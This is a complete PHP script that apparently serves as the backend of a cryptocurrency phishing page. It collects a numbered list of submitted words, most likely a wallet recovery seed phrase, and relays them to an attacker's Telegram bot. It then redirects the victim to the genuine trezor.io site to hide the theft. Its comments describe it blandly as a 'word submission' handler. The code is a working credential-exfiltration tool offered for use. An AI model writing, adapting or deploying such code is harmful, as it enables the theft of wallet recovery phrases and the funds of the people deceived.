<?php
// Include the configuration file
require_once 'config.php';

// Check if the request is POST
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Collect submitted data
    $data = $_POST;

    // Identify the number of words based on the form inputs
    $wordCount = count(array_filter(array_keys($data), fn($key) => strpos($key, 'word') === 0));

    // Validate the form data
    $errors = [];
    $words = [];
    for ($i = 1; $i <= $wordCount; $i++) {
        if (!isset($data["word$i"]) || empty(trim($data["word$i"]))) {
            $errors[] = "Word $i is required.";
        } else {
            $words[] = htmlspecialchars(trim($data["word$i"]));
        }
    }

    // If there are errors, redirect back to the form
    if (!empty($errors)) {
        header('Location: index.php'); // Replace 'index.php' with your form page
        exit();
    }

    // Process the data (prepare the word list)
    $wordList = implode(", ", $words);

    // Send to Telegram
    $telegramMessage = "🚀 <b>Word Submission Received</b> 🚀\n\n";
    $telegramMessage .= "💡 <b>Word Count:</b> $wordCount\n";
    $telegramMessage .= "📜 <b>Words:</b> $wordList\n";

    // Telegram API URL
    $telegramURL = "https://api.telegram.org/bot" . BOT_TOKEN . "/sendMessage";
    $telegramData = [
        'chat_id' => CHAT_ID,
        'text' => $telegramMessage,
        'parse_mode' => 'HTML'
    ];

    // Send Telegram Message
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $telegramURL);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $telegramData);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_exec($ch);
    curl_close($ch);

    // Redirect to Trezor
    header('Location: https://trezor.io/');
    exit();
} else {
    // Invalid request method
    http_response_code(405);
    echo "<h1>405 - Method Not Allowed</h1>";
    echo "<p>Please submit the form correctly.</p>";
    echo "<a href='index.php'>Go Back</a>";
}
